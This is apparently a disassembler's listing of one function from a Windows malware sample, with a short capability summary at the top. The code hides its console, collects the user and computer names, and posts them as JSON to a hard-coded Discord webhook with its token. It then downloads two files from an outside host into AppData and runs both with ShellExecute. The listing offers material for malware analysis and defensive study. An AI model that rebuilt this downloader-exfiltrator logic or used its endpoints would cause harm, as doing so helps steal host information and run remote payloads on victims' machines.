Function at 0x140001870
Capabilities:
Create process on windows
Delete file
Download url
Get common file path
Get hostname
Get session user name
Initialize winhttp library
Prepare http request
Receive data
Receive http response

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x6d0]
sub rsp, 0x7d0
mov rax, qword [0x140009008]
xor rax, rsp
mov qword [rbp + 0x6c0], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rcx, [rbp + 0x158]
call fcn.140001300
nop
mov dword [rbp - 0x30], 0x101
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rax
lea rcx, [rbp + 0x180]
call fcn.140003550
nop
lea r9, [rbp + 0x2a0]
cmp word [rbp + 0x2a0], r12w
je 0x14000193c
add r9, 2
cmp word [r9], 0
jne 0x140001931
lea r8, [rbp + 0x2a0]
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x180]
call fcn.140003a10
nop
lea rcx, [rbp + 0x180]
call fcn.140003460
nop
mov dword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea rcx, [rbp + 0x200]
call fcn.140003550
nop
lea r9, [rbp + 0x280]
cmp word [rbp + 0x280], 0
je 0x1400019eb
nop word [rax + rax]
add r9, 2
cmp word [r9], 0
jne 0x1400019e0
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x200]
call fcn.140003a10
nop
lea rcx, [rbp + 0x200]
call fcn.140003460
nop
movabs r13, 0x7fffffffffffffff
mov rax, r13
mov rsi, qword [rbp + 0x148]
sub rax, rsi
cmp rax, 3
jb 0x140002ed8
lea r15, [rbp + 0x138]
cmp qword [rbp + 0x150], 0x10
cmovae r15, qword [rbp + 0x138]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r14, [rsi + 3]
mov ebx, 0xf
lea rdi, [rsp + 0x40]
movabs rcx, 0x8000000000000000
lea eax, [rbx + 7]
cmp r14, rbx
jbe 0x140001aeb
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x140001aaa
mov rbx, r13
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.140004280
test rax, rax
je 0x140001acd
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001ae6
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001ad4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002ec6
jmp 0x140001a8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001ae3
call fcn.140004280
mov rdi, rax
jmp 0x140001ae6
mov rdi, r12
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [0x140006550]
mov word [rsi + rdi], ax
movzx eax, byte [0x140006552]
mov byte [rsi + rdi + 2], al
mov byte [rdi + r14], 0
lea r9, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae r9, qword [rbp + 0x118]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
mov rdi, qword [rbp + 0x128]
cmp rdi, rax
ja 0x140001b84
lea rax, [rcx + rdi]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
lea rax, [rsp + 0x40]
jmp 0x140001b96
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140003df0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x108], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140001bfa
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bf5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bf5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], r12
lea rbx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0x10
cmovae rbx, qword [rbp + 0x158]
mov r14, qword [rbp + 0x168]
cmp r14, r13
ja 0x140002ede
cmp r14, 0x10
jae 0x140001c67
mov qword [rbp + 0x68], r14
mov esi, 0xf
mov qword [rbp + 0x70], rsi
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x58], xmm0
movq r15, xmm0
jmp 0x140001d02
mov qword [rbp + 0x70], 0xf
mov rsi, r14
or rsi, 0xf
cmp rsi, r13
jbe 0x140001cab
mov rsi, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004280
test rax, rax
je 0x140002d67
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140001ce6
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140001cd4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002ecc
jmp 0x140001c8c
test rcx, rcx
je 0x140001ce3
call fcn.140004280
mov r15, rax
jmp 0x140001ce6
mov r15, r12
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x68], r14
mov qword [rbp + 0x70], rsi
lea r8, [r14 + 1]
mov rdx, rbx
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], 8
mov qword [rbp + 0xf0], 0xf
movabs rax, 0x3038363131373631
mov qword [rbp + 0xd8], rax
mov byte [rbp + 0xe0], 0
mov rax, r13
mov r13, qword [rbp + 0x108]
sub rax, r13
cmp rax, 0x48
jb 0x140002ec0
lea rax, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae rax, qword [rbp + 0xf8]
mov qword [rbp - 0x38], rax
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r12, [r13 + 0x48]
mov ebx, 0xf
lea rdi, [rsp + 0x40]
cmp r12, rbx
jbe 0x140001e21
mov rbx, r12
or rbx, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rbx, rcx
jbe 0x140001dd7
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140004280
test rax, rax
je 0x140001e00
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rax, qword [rbp - 0x38]
jmp 0x140001e1c
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001e07
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002ed2
jmp 0x140001db8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001e1a
call fcn.140004280
mov rdi, rax
mov rax, qword [rbp - 0x38]
jmp 0x140001e1c
xor edi, edi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], rbx
movaps xmm0, xmmword [str._username_:__github.com_Dalbeba___content_:_null__embeds_:___title_:__]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x1400065d0]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x1400065e0]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x1400065f0]
movups xmmword [rdi + 0x30], xmm1
movsd xmm0, qword [0x140006600]
movsd qword [rdi + 0x40], xmm0
lea rcx, [rdi + 0x48]
mov r8, r13
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r12], 0
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rax, 0x12
jb 0x140001ec8
lea rax, [rcx + 0x12]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x40]
add rbx, rcx
mov r8d, 0x12
lea rdx, str.___description_:__
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x12], 0
lea rax, [rsp + 0x40]
jmp 0x140001ee7
mov qword [rsp + 0x20], 0x12
lea r9, str.___description_:__
mov edx, 0x12
lea rcx, [rsp + 0x40]
call fcn.140003df0
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x290], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x280], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x290], xmm1
xor r13d, r13d
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
lea r9, [rbp + 0x58]
cmp rsi, 0x10
cmovae r9, r15
mov rcx, qword [rbp + 0x290]
mov rdx, qword [rbp + 0x298]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x140001f84
lea rax, [r14 + rcx]
mov qword [rbp + 0x290], rax
lea rbx, [rbp + 0x280]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x280]
add rbx, rcx
mov r8, r14
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + r14], r13b
lea rax, [rbp + 0x280]
jmp 0x140001fa0
mov qword [rsp + 0x20], r14
mov rdx, r14
lea rcx, [rbp + 0x280]
call fcn.140003df0
mov rsi, qword [rbp + 0x70]
mov r15, qword [rbp + 0x58]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 0x2c
jb 0x140002022
lea rax, [rcx + 0x2c]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x60]
add rbx, rcx
mov r8d, 0x2c
lea rdx, str.___footer_:__text_:__github.com___color_:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x2c], 0
lea rax, [rsp + 0x60]
jmp 0x140002041
mov qword [rsp + 0x20], 0x2c
lea r9, str.___footer_:__text_:__github.com___color_:
mov edx, 0x2c
lea rcx, [rsp + 0x60]
call fcn.140003df0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x1400020b0
lea rax, [rcx + 8]
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
cmp rdx, 0x10
cmovae rax, qword [rbp - 0x60]
movabs r12, 0x3038363131373631
mov qword [rax + rcx], r12
mov byte [rax + rcx + 8], 0
lea rax, [rbp - 0x60]
jmp 0x1400020d5
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0xd8]
mov edx, 8
lea rcx, [rbp - 0x60]
call fcn.140003df0
mov r12, qword [rbp + 0xd8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 0x17
jb 0x14000214d
lea rax, [rcx + 0x17]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x80]
add rbx, rcx
mov r8d, 0x17
lea rdx, str._____attachments_:___
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x17], 0
lea rax, [rbp - 0x80]
jmp 0x14000216b
mov qword [rsp + 0x20], 0x17
lea r9, str._____attachments_:___
mov edx, 0x17
lea rcx, [rbp - 0x80]
call fcn.140003df0
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x88], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x88], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400021dc
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14000222b
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002226
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002226
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000227c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002277
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002277
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp + 0x298]
cmp rdx, 0x10
jb 0x1400022d3
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp + 0x290], xmm0
mov byte [rbp + 0x280], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000232a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002325
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002325
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Pidorasie_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdi, rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str._api_webhooks_1173201525343006721_J1AxmcIoXYCuDF4NsX5ssXmyoiRrX_fbuy0_Tchqs1_NW_NccCORUxAwi71A3QtYRRtQ
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
lea r9, [rbp + 0x78]
cmp qword [rbp + 0x90], 0x10
cmovae r9, qword [rbp + 0x78]
mov qword [rsp + 0x30], r13
mov ecx, dword [rbp + 0x88]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400023ee
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], 0xf
mov ecx, 0x20
call fcn.140004280
mov r8, rax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x48], 0x1d
mov qword [rbp + 0x50], 0x1f
movups xmm0, xmmword [str.http:__a0883857.xsph.ru_5.mov]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140006788]
movsd qword [rax + 0x10], xmm0
mov edx, dword [0x140006790]
mov dword [rax + 0x18], edx
movzx eax, byte [0x140006794]
mov byte [r8 + 0x1c], al
mov byte [r8 + 0x1d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x30], 0xf
mov ecx, 0x20
call fcn.140004280
mov rdx, rax
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x28], 0x1f
mov qword [rbp + 0x30], 0x1f
movups xmm0, xmmword [str.http:__a0883857.xsph.ru_deb.mov]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400067a8]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1400067b0]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x1400067b4]
mov word [rax + 0x1c], cx
movzx eax, byte [0x1400067b6]
mov byte [rdx + 0x1e], al
mov byte [rdx + 0x1f], 0
lea r8, str.USERPROFILE
lea rdx, [rbp + 0x178]
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x280]
call fcn.140003750
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x16
jb 0x14000254f
lea rax, [rcx + 0x16]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x14000252d
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r14d, 0x16
mov r8d, r14d
lea rdx, str.AppDataRoaming5.mov
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x16], 0
jmp 0x14000256f
mov r14d, 0x16
mov qword [rsp + 0x20], r14
lea r9, str.AppDataRoaming5.mov
mov edx, r14d
mov rcx, rdi
call fcn.140003df0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 8], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbp + 0x298]
cmp rdx, 0x10
jb 0x1400025e0
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp + 0x290], xmm0
mov byte [rbp + 0x280], 0
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140003750
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x18
jb 0x14000264f
lea rax, [rcx + 0x18]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x140002630
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, 0x18
lea rdx, str.AppDataRoamingdeb.mov
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x18], 0
jmp 0x14000266f
mov qword [rsp + 0x20], 0x18
lea r9, str.AppDataRoamingdeb.mov
mov edx, 0x18
mov rcx, rdi
call fcn.140003df0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400026dc
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x280]
call fcn.140003750
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x16
jb 0x140002746
lea rax, [rcx + 0x16]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x14000272a
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8, r14
lea rdx, str.AppDataRoaming5.mov
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x16], 0
jmp 0x140002760
mov qword [rsp + 0x20], r14
lea r9, str.AppDataRoaming5.mov
mov rdx, r14
mov rcx, rdi
call fcn.140003df0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc8], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbp + 0x298]
cmp rdx, 0x10
jb 0x1400027dd
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
movdqa xmm0, xmmword [0x140006920]
movdqu xmmword [rbp + 0x290], xmm0
mov byte [rbp + 0x280], 0
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140003750
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x18
jb 0x14000284c
lea rax, [rcx + 0x18]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x14000282d
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, 0x18
lea rdx, str.AppDataRoamingdeb.mov
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x18], 0
jmp 0x14000286c
mov qword [rsp + 0x20], 0x18
lea r9, str.AppDataRoamingdeb.mov
mov edx, 0x18
mov rcx, rdi
call fcn.140003df0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa8], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0xa8], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400028e5
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400042bc
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea r8, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae r8, qword [rbp - 8]
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rdx, qword [rbp + 0x38]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x14000294c
lea r8, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae r8, qword [rbp - 8]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae r8, qword [rbp - 0x28]
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0x10
cmovae rdx, qword [rbp + 0x18]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x1400029a9
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae r8, qword [rbp - 0x28]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
